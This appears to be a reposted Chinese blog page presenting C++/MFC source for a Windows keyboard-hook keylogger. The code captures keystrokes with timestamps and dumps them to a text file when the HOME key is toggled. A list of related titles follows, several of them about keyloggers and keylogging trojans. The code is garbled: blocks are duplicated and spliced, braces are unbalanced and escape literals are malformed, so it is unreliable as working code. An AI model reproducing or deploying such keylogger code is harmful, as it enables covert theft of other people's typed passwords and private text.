HOOK+file实现键盘记录功能。
来源:互联网 发布:c语言视频谭浩强百度云 编辑:程序博客网 时间:2024/06/05 10:20
关键代码;
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
static CString str;
if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
{
//CFile cf;
//cf.Open("C://b.txt",CFile::modeWrite);
//cf.SeekToEnd();
//cf.Write(&wParam,4);
//cf.Write(&lParam,4);
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
static CString str;
if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
{
//CFile cf;
//cf.Open("C://b.txt",CFile::modeWrite);
//cf.SeekToEnd();
//cf.Write(&wParam,4);
//cf.Write(&lParam,4);
// cf.Close();
if(flag == 0)
flag = 1;
else
flag = 0;
if(flag == 1)
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
{
if(!flag)
{
CFile cf;
cf.Open("C://a.txt",CFile::modeCreate|CFile::modeWrite);
int count = str.GetLength();
for(int i=0;i<count;i++)
{
char t = str.GetAt(i);
cf.Write(&t,1);
t = '/xd';
cf.Write(&t,1);
t = '/xa';
cf.Write(&t,1);
if(flag == 0)
flag = 1;
else
flag = 0;
if(flag == 1)
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
{
if(!flag)
{
CFile cf;
cf.Open("C://a.txt",CFile::modeCreate|CFile::modeWrite);
int count = str.GetLength();
for(int i=0;i<count;i++)
{
char t = str.GetAt(i);
cf.Write(&t,1);
t = '/xd';
cf.Write(&t,1);
t = '/xa';
cf.Write(&t,1);
}
cf.Close();
}
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
if(flag && ((lParam&0x40000000) == 0))
{
CString time;
CTime t = CTime::GetCurrentTime();
time.Format(" %d:%d:%d ",t.GetHour(),t.GetMinute(),t.GetSecond());
if(wParam >= 0x60 && wParam <= 0x69)
{
char temp[2];
temp[0]=wParam - 0x30;
temp[1] = 0;
str += time;
str += temp;
}
else
{
char temp[2];
temp[0]=wParam;
temp[1] = 0;
str += time;
str += temp;
}
}
cf.Close();
}
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
if(flag && ((lParam&0x40000000) == 0))
{
CString time;
CTime t = CTime::GetCurrentTime();
time.Format(" %d:%d:%d ",t.GetHour(),t.GetMinute(),t.GetSecond());
if(wParam >= 0x60 && wParam <= 0x69)
{
char temp[2];
temp[0]=wParam - 0x30;
temp[1] = 0;
str += time;
str += temp;
}
else
{
char temp[2];
temp[0]=wParam;
temp[1] = 0;
str += time;
str += temp;
}
}
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
}
- HOOK+file实现键盘记录功能。
- Inline hook KeyboardClassServiceCallback实现键盘记录
- vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
- vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
- 初试Hook与键盘记录程序
- Hook IME,进行键盘记录或输入控制
- js 实现键盘记录
- 通过IRPhook实现键盘记录
- python实现键盘记录木马
- python 实现键盘记录
- 键盘记录
- 键盘记录
- 利用filter driver实现键盘记录
- file.separator实现什么功能
- js 实现键盘记录 兼容FireFox和IE
- js 实现键盘记录 兼容FireFox和IE
- 键盘记录及自动发送VC++实现
- 键盘记录及自动发送VC++实现
- 十六进制转换十进制code.
- OpenGL 编 程 原 理(转帖)
- CONST的用法[转]
- JAVA认证经典面试题目
- COM初学。
- HOOK+file实现键盘记录功能。
- 飞鸽协议
- Windows下基于Eclipse的Hadoop开发环境完全配置(二)
- windows下所有出错信息。
- bandmin bandwidth monitor
- 什么是高质量的
- 2009.08.22 Syser Kernel Debugger v1.99.1900.1165 Release
- 如何取得本机IP
- 翻出以前糟烂的封装的配置文件类。